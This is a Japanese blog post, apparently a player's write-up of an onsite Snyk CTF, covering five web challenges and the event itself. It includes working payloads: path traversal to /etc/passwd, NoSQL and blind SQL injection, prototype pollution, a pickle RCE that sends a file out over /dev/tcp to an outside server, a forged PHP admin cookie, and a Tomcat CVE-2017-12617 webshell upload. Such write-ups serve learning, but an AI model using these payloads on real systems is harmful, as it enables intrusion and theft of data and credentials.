はじめに
某日、Twitterを眺めているとオンサイトCTFの情報が流れてきました。
10月14日(金)開催です!【エンジニア大集合】開発者向けのCTF競技大会「Snyk Capture the Flag 101(Snyk キャプチャー・ザ・フラッグ 101)」
— Snyk Japan (@snykJP) October 7, 2022
景品はなんと、1位はiPad Air(パープル)、2位はAirPads Pro(第2世代)、3位はiRobotルンバです。
奮ってご参加ください!https://t.co/I8gQ6Q9mDk pic.twitter.com/dSISEqpDDp
新型コロナでいろんなイベントが消滅してから長らく国内でオンサイトCTFに参加する機会がなかったので、興味がありました。 Snyk*1という組織自体は知っていましたが、CTFをやっているイメージがなかったので正直参加するか微妙でした。 ただ、大学の先輩が会場のAWSで働いていることと、賞品にルンバという文字が見えたことが決め手で参加することにしました。 私の家は一人暮らしにしては部屋数が多く、床にコードは散らかっていないので、ルンバは夢のアイテムです。 でも私は機械に弱いので電子機器や家電は数年に1回単位でしか買うことがなく、(iPadやAirPodsも含めて)賞品で貰えたら嬉しいな、程度の気持ちでした。
開始前
電車で目黒に行きました。 かなりぎりぎりの時間で家を出ましたが、無事5分前くらいに会場に到着しました。 会場は21階にあり、プチ都庁みたいな景色が見えました。
競技開始前はWi-Fi*2につないだり、moraさん遅刻か?と思ったりしていました。*3 15時になるとAWSとSnykの会社説明があり、その後Snyk脆弱性スキャナの使い方説明がありました。
スコアボードはCTFdで、名前をyoshikingにしようと思っていましたが、他のユーザーを見ると「ptr-s@toki」が観測されたため「satoking」に軌道修正しました。
まず最初に、みんなで仲良く一緒に解くデモ問題みたいなのをやりました。 node製のアプリで、脆弱性スキャナにかけると「コード自体の問題」と「パッケージに含まれる脆弱性」の2つを分けて表示してくれました。 いくつか脆弱性の可能性が検出されるのですが、デモ問題では以下の古いパッケージに含まれるディレクトリトラバーサルが問題でした。
開発者向けなのでさすがにCVEのPoCまでは表示してくれませんが、脆弱性やCVEの説明などへのリンクはあります。
st
というのは静的ファイルを提供するためのパッケージらしく、以下のように./public
を/public
にバインドしていました。
var st = require('st'); ... // Static app.use(st({ path: './public', url: '/public' }));
これにディレクトリトラバーサルがあるということで、次のようなリクエストを送ると任意のディレクトリリスティングやファイル内容が読めました。
$ curl --path-as-is 'http://<HOST>/public/%2e%2e/%2e%2e/%2e%2e/etc/passwd'
2階層くらい下がったところにflag
という名前のファイルがあったと思います。
参加前は某省みたいなクイズ大会かと思っていましたが、この辺で意外とNetWars的なCVE探して刺す系のCTFかな?と安心し始めました。
競技開始
15:30過ぎくらいから競技が開始され、問題を解き始めました。 ここで衝撃の事実が発覚します。 なんとスコアボードで順位が見えません。
これではサブマリン戦法やヒント開放による露骨なスコア調整で3位のルンバが狙えないので、方針転換して、速解きでなるべく高い順位を狙うことにしました。
とりあえず開始直後に、全部の問題(最後のはdocker imageだったので後回し)をSnyk脆弱性スキャナに投げておきました。
1問目:マングース
問題文からNoSQL Injectionであることが想像できますが、一応スキャナの結果を見たら案の定NoSQL Injectionでした。
しかしNoSQL Injectionなどという高尚なものの攻撃方法は覚えてないので、適当にぐぐると{"$ne": null}
みたいなのを入れると良いらしいです。
MongoDBわかんねぇ。
とりあえず開発者ツールのNetworkタブでログイン時に流れているリクエストを見て、ユーザー名とパスワードを↑のオブジェクトに差し替えて送ります。
$ curl -X POST 'http://<HOST>/' \ -H "Content-Type: application/json" \ --data '{"username": {"$ne": null}, "password": {"$ne": null}}' ... <h1 id="page-title">Admin Access Granted</h1> <h3 id="list">You got the flag!</h3> <center>SNYK{2185ecb17f23afdf2610f741dd07=6bd6088c616e4ac2a403eb14fa8689e1fb0af} </center> ...
フラグが得られました。
2問目:見えないインク
初手スキャン結果を見ると、Prototype PollutionとRCEが表示されました。
当然RCEの方のCVEについて調べましたが、こっちはよく分かりませんでした。 あくまでこのバージョンのパッケージに含まれる脆弱性を表示してくれているので、該当する機能は使われていないということでしょう。
ソースコードを見に行くと、次のように有名なlodashのPrototype Pollutionが発生していることが分かります。
_.merge(out, req.body); if (options.flag) { out.flag = flag; } else { out.flag = 'disabled'; }
options.flag
があれば良いらしいので、req.body
からこれを汚染します。
$ curl -X POST http://<HOST>/echo \ -H "Content-Type: application/json" \ --data '{"message": {"__proto__": {"flag": 1}}}' {"userID":"::ffff:10.148.0.21","time":1665911253513,"message":{},"flag":"SNYK{6a6a6fff87f3cfdca056a077804838d4e87f25f6a11e09627062c06f142b10dd}"}
フラグが得られました。
3問目:ハンバーガーに欠かせないもの
この辺からcurlだけでは解けなくなってきます。
pickleのinsecure deserializationがあるので、RCEできそうなオブジェクトを作ります。
import pickle import base64 class RCE(object): def __reduce__(self): import os return (os.system,(command,)) command = '/bin/bash -c "/bin/cat /flag / > /dev/tcp/<SERVER>/<IP>"' data = pickle.dumps(RCE()) payload = base64.b64encode(data) print(payload)
自分の保有しているサーバーにコマンドの実行結果を送信するようなコードにしました。
フラグの位置は事前にls
をして入手したものです。
$ python rce.py b'gASVWQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjD4vYmluL2Jhc2ggLWMgIi9iaW4vY2F0IC9mbGFnIC8gPiAvZGV2L3RjcC9wb25wb25tYXJ1LnRrLzE4MDAyIpSFlFKULg=='
これを送ります。
$ curl -X POST 'http://<HOST>/' \ --data "text=<base64-encoded payload>"
すると待受側にフラグが飛んできました。
$ nc -lnvp <PORT> Listening on 0.0.0.0 <PORT> Connection received on <HOST> 48692 SNYK{6854ecb17f51afdf2610f741dd07bd6099c616e4ab1a403eb14fa8639e1fb0af}
4問目:人気の言語
今までに比べてソースコードの規模が若干大きくなりました。 とりあえずスキャン結果を見ると、PHPのinsecure deserializationが目に入ったのでこれを狙います。
フラグが貰えそうなadmin.php
を開くと、初手脆弱性がありました。
<?php include './user.php'; $user = null; if ($_COOKIE['user']) { $user = unserialize($_COOKIE['user']); } ?> ... <? if ($user && $user->isAdmin) { ?> <div class="form-text text-success"><? echo file_get_contents("/var/flag");?></div> <? } else if ($user) { ?>
使えそうなオブジェクトを調べると、user.php
があります。
class User { public $login; public $isAdmin; public function __construct($login, $isAdmin) { $this->login = $login; $this->isAdmin = $isAdmin; } static function login($login, $password) { $db = DB::getConnection(); $statement = $db->prepare('SELECT * FROM users WHERE login=:login AND password=:password;'); $statement->bindValue(':login', $login); $statement->bindValue(':password', $password); $res = $statement->execute(); $user = $res->fetchArray(); if (!$user) { return null; } return new User($login, $user['admin'] ? true : false); } }
isAdmin
をtrueにしたオブジェクトをシリアライズして、Cookieに打ち込めば認証を突破できそうです。
<?php class User { public $login; public $isAdmin; public function __construct($login, $isAdmin) { $this->login = $login; $this->isAdmin = $isAdmin; } }; $x = new User(true, true); var_dump(serialize($x));
$ php exp.php string(49) "O:4:"User":2:{s:5:"login";b:1;s:7:"isAdmin";b:1;}"
これをCookieに入れれば良いのですが、URL encodeするのを忘れていて少し手こずりました。
$ curl http://<HOST>/admin.php \ -b 'user=O%3A4%3A%22User%22%3A2%3A%7Bs%3A5%3A%22login%22%3Bb%3A1%3Bs%3A7%3A%22isAdmin%22%3Bb%3A1%3B%7D; age=20' ... <div style="width: 50%; margin: 0 auto; text-align: center;"> <div class="form-text text-success">SNYK{1f99cc127e3659fcd9b966cbfa1143a90d5ef6a9b9682bc61559bf3c0a1dc7f3}</div> </div> ...
フラグが貰えました。
【追記】
そういえば競技終了後にmoraさんが「この問題SQLiがあってそっちをやってた」って言ってたので、それも試してみます。
Mora's Prophecy通り、index.php
にSQL Injectionがあります。
$sort = isset($_GET['sort']) && !empty($_GET['sort']) ? $_GET['sort'] : 'jun2021'; $db = DB::getConnection(); $results = $db->query("SELECT * FROM languages ORDER BY $sort LIMIT 1000;");
ORDER BY
にかかってるので若干面倒そうですね。
ソースコードは公開されているもののデーターベースの構造はたぶん分からないので、そこの特定から始めます。
種類はSQLiteです。
class DB { static function getConnection() { return new SQLite3('/var/top-lang-main-15-20.db'); } }
目標はusers
テーブルからadmin
がtrueに評価されるような値を持っているユーザーのパスワードをリークすることです。
static function login($login, $password) { $db = DB::getConnection(); $statement = $db->prepare('SELECT * FROM users WHERE login=:login AND password=:password;'); $statement->bindValue(':login', $login); $statement->bindValue(':password', $password); $res = $statement->execute(); $user = $res->fetchArray(); if (!$user) { return null; } return new User($login, $user['admin'] ? true : false); }
まずカラム数ですが、ORDER BY 6
は通ってORDER BY 7
はエラーになったので、6カラムあることが分かります。
SQLiteでORDER BY
にサブクエリを入れても何も起きなさそう(知ってる人いたら教えてください)なので、LIMITの方をオラクルに使います。
users
テーブルのadmin
カラムの型が分からなかったので、カラム名をguessしたらid
という一意に定まりそうカラムがありました。
1 limit (select 1 from users where id=1);--
1と2で結果が返ってきたので、users
テーブルにデータは2つ存在することが分かります。
とりあえず1つ目がadminと仮定してパスワードをリークしましょう。 今回のサイトですが、言語一覧には20個の言語が見えています。したがって、LIMIT句をオラクルとする場合、20までの可変データをリークできます。 InterKosenCTFでふるつきが昔出題しましたが、このような場合、中国人剰余定理を使って高速に大きいデータが読めます。 今回は20個データがあるので、例えば19と17を剰余にして欲しい数字を返せば、最大19x17=323までの値をリークできます。 つまり、2回のクエリで1バイトのデータくらいなら読めるわけです。
この古月式Blind Injectionを使うと、Blind SQLiにも関わらず、ものの数秒ですべてのデータが読めてしまいました。すごいぜ!
from ptrlib import crt import requests password = "" for i in range(32): payload = f'1 limit (select unicode(substr(password,{i},1)) % 19 from users where id=1);--' r = requests.get("http://<HOST>/", params={"sort": payload}) x1 = r.text.count("<tr>") - 1 payload = f'1 limit (select unicode(substr(password,{i},1)) % 17 from users where id=1);--' r = requests.get("http://<HOST>/", params={"sort": payload}) x2 = r.text.count("<tr>") - 1 password += chr(crt([(x1, 19), (x2, 17)])[0]) print(password)
同様にユーザー名もリークできます。
id=1
とid=2
の両方でこれを試し、ユーザー名とパスワードをリークできました。
- id=1
- login:
kirill
- password:
my1awesome2password3
- login:
- id=2
- login:
slava
- password:
lavalavalava123456
- login:
この認証情報を使いログインしてみました。 どちらもadminではありませんでした。おしまい!
5問目:ACEと猫とコーヒー
この問題はソースコードではなくDockerイメージが貰えます。 URLにアクセスすると、Apache Tomcatのトップページが表示されました。TomcatのCVE問っぽいです。
Snykのスキャナにもかけましたが、コンテナイメージが古いのでコンテナ内の他のアプリケーションの脆弱性情報が大量に出てきて、読める状態ではありませんでした。*4
Tomcatのバージョンは8.5.21なので、このバージョンでRCEがないか調べると、まずCVE-2020-9484が引っかかりました。 しかし、よくよく説明を読むとかなり条件が厳しいです。つらたん。
if a) an attacker is able to control the contents and name of a file on the server; and b) the server is configured to use the PersistenceManager with a FileStore; and c) the PersistenceManager is configured with sessionAttributeValueClassNameFilter="null"
実際ysoserialを落としてPoCを投げましたが刺さった様子はありませんでした。
もう少し調べると、次にCVE-2017-12617がヒットしました。 こっちはこっちでPUTメソッドが有効になっている必要がありますが、それくらいならありそう、ということで試してみました。 PoCはこちらのものを使用しました。
$ python2 tomcat-cve-2017-12617.py -u http://<HOST>/ -p pwnpwnpain _______ ________ ___ ___ __ ______ __ ___ __ __ ______ / ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ | | | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / / | | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / / | |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / / \_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/ [@intx0x80] Uploading Webshell ..... $ find . -name flag ./webapps/todolist/flag $ cat ./webapps/todolist/flag SNYK{9a6a1fff87f3cfdca056a077804838d4e87f25f6a11e09627092c06f142b10yf}
刺さりました。対戦ありがとうございました。
終了後
こんな感じです。40分くらいで解き終わったらしいです。
30分くらい時間が余っていたので、会場にあったケーキやチョコを食べ食べしたり、satoki君に進捗確認DMを送ったりして時間を潰していました。 satoki君も終わったって言ってたし会場の周りも手が止まってたしで上位入賞は厳しいかなーと思いつつも、クイズ大会じゃなかった&全問ソースコードが配布されていたので感動していました。
個人的にはこの程度の難易度で1時間で終わるようなCTFはオンラインでももっと開催して欲しいと思っているので、楽しかったです。*5 また、WebはCTF4大ジャンルの中でcryptoと1位2位を争うほど苦手なので、次回は是非pwnとかpwnも出してほしいです。🤗
まとめ
意外なことに、なぜか速解き筋肉パワーで勝っていたのでiPad Airをいただきました。ルンバ逃した......
機械に弱いのでApple製品はもちろん、最近流行りのタブレットだのなんだのは使ったことがなかったのですが、電源ボタンで指紋認証できてSFの世界に来た感じがしました。 ちょうどお絵描きの勉強をしていたので、早速ペイントアプリを入れてニャンスカルを描いてみましたが、非常に使いやすくておったまげました。 細部に消しゴムが使えるのと、やり直し機能があるのがアナログ人間としては便利だと感じました。
以上、久しぶりにオンサイトCTFができて楽しかったです。 開催&豪華賞品ありがとうございました。